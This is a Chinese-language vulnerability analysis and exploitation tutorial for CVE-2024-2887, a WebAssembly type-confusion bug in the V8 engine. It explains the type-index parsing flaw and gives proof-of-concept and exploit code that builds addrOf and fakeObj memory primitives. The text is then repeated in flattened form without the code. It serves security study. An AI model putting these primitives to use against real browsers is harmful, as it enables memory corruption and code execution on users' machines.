V8中WASM类型混淆漏洞CVE-2024-2887的来龙去脉
字数 2129 2025-09-01 11:26:02

WASM类型混淆漏洞CVE-2024-2887深度分析与利用教学

漏洞概述

CVE-2024-2887是V8引擎中WebAssembly(WASM)的一个类型混淆漏洞,该漏洞源于V8对WASM模块类型定义(TypeSection)解析时的校验不完善,导致攻击者可以突破类型索引(typeidx)的数量限制,进而实现类型混淆攻击。

背景知识

WASM内存模型

WASM虚拟机的内存模型分为三部分:

  1. 虚拟寄存器:函数的局部变量,通过索引访问
  2. :WASM指令运行时使用的栈
  3. :WASM GC提案中支持在宿主环境堆上创建对象,由宿主环境GC管理

WASM值类型分类

  1. 标量类型

    • numtype = i32 | i64 | f32 | f64
    • vectype = v128
  2. 引用类型(reftype)

    • 用于引用WASM Heap中的对象
    • 需要明确指向的对象类型
    • 对象类型指定方式:
      • abstract heap type:预定义的大致对象类型
      • concrete heap type:使用typeidx表示自定义的具体对象类型

递归类型(Recursive Types)

WASM GC提案支持递归类型,通过rec块定义rectype,内部可包含一个或多个subtype,每个subtype会被赋予唯一的typeidx

示例:链表节点类型定义

builder.startRecGroup();
let nodeType1 = builder.addStruct([
  makeField(kWasmI32, true),  // id字段
  makeField(new wasmRefNullType(0), true)  // 自身类型的引用,next指针
], kNoSuperType, false, false);
builder.endRecGroup();

漏洞成因

TypeSection解析过程

  1. WASM模块类型表示

    • WasmModule中的types数组记录所有定义的类型
    • 数组索引就是typeidx
    • 每个类型定义使用TypeDefinition对象描述
  2. 解析逻辑问题

    • 限制typeidx < kV8MaxWasmTypes(默认为1,000,000)
    • 校验规则不完善:
      • 检查rectype总量不超过kV8MaxWasmTypes
      • 处理包含多个subtyperec group时检查:已有type数量 + rec group中type数量 <= kV8MaxWasmTypes
      • 但处理单个subtype没有进行数量检查
  3. 突破限制的方法

    • 第一个rectype包含kV8MaxWasmTypessubtype
    • 第二个rectype只含单个subtype
    • 导致module_->types包含kV8MaxWasmTypes+1个entry

POC构造

const kV8MaxWasmTypes = 1_000_000;

// 定义包含kV8MaxWasmTypes个subtype的rec group
builder.startRecGroup();
for(let i=0; i<kV8MaxWasmTypes; i++) {
  builder.addType(makeSig(...));
}
builder.endRecGroup();

// 再次添加一个类型,typeidx=kV8MaxWasmTypes
let strcutTypeIdx = builder.addStruct([...]);

WASM类型系统深入

类型表示

  1. TypeDefinition结构

    struct TypeDefinition {
      union {
        const FunctionSig* function_sig;
        const StructType* struct_type;
        const ArrayType* array_type;
      };
      uint32_t supertype;  // 父类idx
      Kind kind;           // 类型大类(kFunction/kStruct/kArray)
      bool is_final;       // 是否为final
      bool is_shared;
      uint8_t subtyping_depth;  // 继承链深度
    };
    
  2. ValueType表示

    • 使用32位整数紧凑表示所有可能的值类型
    • 包含三部分:
      1. ValueKind:区分值类型与引用类型
      2. heap representation:引用类型指向的堆对象类型
      3. CanonicalRelative bit:用于类型规范化过程
  3. HeapType分类

    • [0, kV8MaxWasmTypes):用户自定义的concrete heap type
    • [kV8MaxWasmTypes, kBottom]:预定义的abstract heap type

漏洞利用原理

类型混淆机制

typeidx超过kV8MaxWasmTypes时:

  • 可能被解读为用户自定义的concrete heap type
  • 也可能被解读为abstract heap type(如kAny/kNone)

不同指令对这种情况的处理不一致,导致类型混淆。

关键指令分析

  1. struct.new指令

    • 校验时只检查typeidx是否小于types.size()
    • 不检查kV8MaxWasmTypes限制
    • 编译时会将大typeidx误认为kNone类型
  2. ref.cast指令

    • 用于带类型检查的安全类型转换
    • 当对象类型为none时,转换为任意非函数类型总会成功
    • 因此会省略RuntimeType Check

利用思路

  1. 创建两个结构体类型:

    • typeidx0:包含ref target_type字段
    • typeidx1(设置为HeapType::kNone):包含anyref字段
  2. 利用流程:

    1. 栈顶push要混淆的值
    2. struct.new typeidx1创建对象
    3. ref.cast typeidx0进行类型转换
    4. struct.get获取字段,实现类型混淆

原语构造

  1. addrOf原语

    • ref extern字段解释为i32,泄露指针
  2. fakeObj原语

    • i32字段解释为ref extern,伪造指针

完整EXP

// 设置typeidx1为HeapType::None
for(let i=0; i<HeapType_None; i++) {
  builder.addStruct(...);
}
let structTypeIdx1 = builder.addStruct([
  makeField(wasmRefNullType(kWasmExternRef), true), // ref
  makeField(kWasmI32, true) // int
]);

// addrOf函数
builder.addFunction('addrOf', makeSig([wasmRefType(kWasmExternRef)], [kWasmI32]))
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(0),
    ...GCInstr(kExprStructNew), ...wasmUnsignedLeb(structTypeIdx1),
    ...GCInstr(kExprRefCast), ...wasmUnsignedLeb(structTypeIdx0),
    ...GCInstr(kExprStructGet), ...wasmUnsignedLeb(structTypeIdx0), 0
  ]).exportFunc();

// fakeObj函数
builder.addFunction('fakeObj', makeSig([kWasmI32], [wasmRefNullType(kWasmExternRef)]))
  .addBody([
    kExprRefNull, ...wasmSignedLeb(kWasmExternRef),
    kExprLocalGet, 0,
    ...GCInstr(kExprStructNew), ...wasmUnsignedLeb(structTypeIdx1),
    ...GCInstr(kExprRefCast), ...wasmUnsignedLeb(structTypeIdx0),
    ...GCInstr(kExprStructGet), ...wasmUnsignedLeb(structTypeIdx0), 1
  ]).exportFunc();

总结与防御

漏洞本质

  • 根本原因:向数组添加元素前未严格检查size
  • 利用关键:不同指令处理大typeidx的歧义
  • 影响:实现稳定的类型混淆原语

修复建议

  1. 严格校验所有typeidx添加操作
  2. 统一大typeidx的处理逻辑
  3. 加强类型系统边界检查

参考价值

该漏洞利用展示了:

  1. 如何将微小错误逐步放大
  2. WASM类型混淆的经典模式
  3. 稳定的原语构造方法

参考文献

  1. CVE-2024-2887漏洞详情
  2. WebAssembly GC规范
  3. V8引擎源码分析
WASM类型混淆漏洞CVE-2024-2887深度分析与利用教学 漏洞概述 CVE-2024-2887是V8引擎中WebAssembly(WASM)的一个类型混淆漏洞,该漏洞源于V8对WASM模块类型定义(TypeSection)解析时的校验不完善,导致攻击者可以突破类型索引(typeidx)的数量限制,进而实现类型混淆攻击。 背景知识 WASM内存模型 WASM虚拟机的内存模型分为三部分: 虚拟寄存器 :函数的局部变量,通过索引访问 栈 :WASM指令运行时使用的栈 堆 :WASM GC提案中支持在宿主环境堆上创建对象,由宿主环境GC管理 WASM值类型分类 标量类型 : numtype = i32 | i64 | f32 | f64 vectype = v128 引用类型(reftype) : 用于引用WASM Heap中的对象 需要明确指向的对象类型 对象类型指定方式: abstract heap type:预定义的大致对象类型 concrete heap type:使用typeidx表示自定义的具体对象类型 递归类型(Recursive Types) WASM GC提案支持递归类型,通过 rec 块定义 rectype ,内部可包含一个或多个 subtype ,每个 subtype 会被赋予唯一的 typeidx 。 示例:链表节点类型定义 漏洞成因 TypeSection解析过程 WASM模块类型表示 : WasmModule 中的 types 数组记录所有定义的类型 数组索引就是 typeidx 每个类型定义使用 TypeDefinition 对象描述 解析逻辑问题 : 限制 typeidx < kV8MaxWasmTypes (默认为1,000,000) 校验规则不完善: 检查 rectype 总量不超过 kV8MaxWasmTypes 处理包含多个 subtype 的 rec group 时检查:已有type数量 + rec group中type数量 <= kV8MaxWasmTypes 但处理单个 subtype 时 没有 进行数量检查 突破限制的方法 : 第一个 rectype 包含 kV8MaxWasmTypes 个 subtype 第二个 rectype 只含单个 subtype 导致 module_->types 包含 kV8MaxWasmTypes+1 个entry POC构造 WASM类型系统深入 类型表示 TypeDefinition结构 : ValueType表示 : 使用32位整数紧凑表示所有可能的值类型 包含三部分: ValueKind:区分值类型与引用类型 heap representation:引用类型指向的堆对象类型 CanonicalRelative bit:用于类型规范化过程 HeapType分类 : [0, kV8MaxWasmTypes) :用户自定义的concrete heap type [kV8MaxWasmTypes, kBottom] :预定义的abstract heap type 漏洞利用原理 类型混淆机制 当 typeidx 超过 kV8MaxWasmTypes 时: 可能被解读为用户自定义的concrete heap type 也可能被解读为abstract heap type(如kAny/kNone) 不同指令对这种情况的处理不一致,导致类型混淆。 关键指令分析 struct.new指令 : 校验时只检查 typeidx 是否小于 types.size() 不检查 kV8MaxWasmTypes 限制 编译时会将大 typeidx 误认为 kNone 类型 ref.cast指令 : 用于带类型检查的安全类型转换 当对象类型为 none 时,转换为任意非函数类型总会成功 因此会 省略 RuntimeType Check 利用思路 创建两个结构体类型: typeidx0 :包含 ref target_type 字段 typeidx1 (设置为 HeapType::kNone ):包含 anyref 字段 利用流程: 栈顶push要混淆的值 struct.new typeidx1 创建对象 ref.cast typeidx0 进行类型转换 struct.get 获取字段,实现类型混淆 原语构造 addrOf原语 : 将 ref extern 字段解释为 i32 ,泄露指针 fakeObj原语 : 将 i32 字段解释为 ref extern ,伪造指针 完整EXP 总结与防御 漏洞本质 根本原因:向数组添加元素前未严格检查size 利用关键:不同指令处理大 typeidx 的歧义 影响:实现稳定的类型混淆原语 修复建议 严格校验所有 typeidx 添加操作 统一大 typeidx 的处理逻辑 加强类型系统边界检查 参考价值 该漏洞利用展示了: 如何将微小错误逐步放大 WASM类型混淆的经典模式 稳定的原语构造方法 参考文献 CVE-2024-2887漏洞详情 WebAssembly GC规范 V8引擎源码分析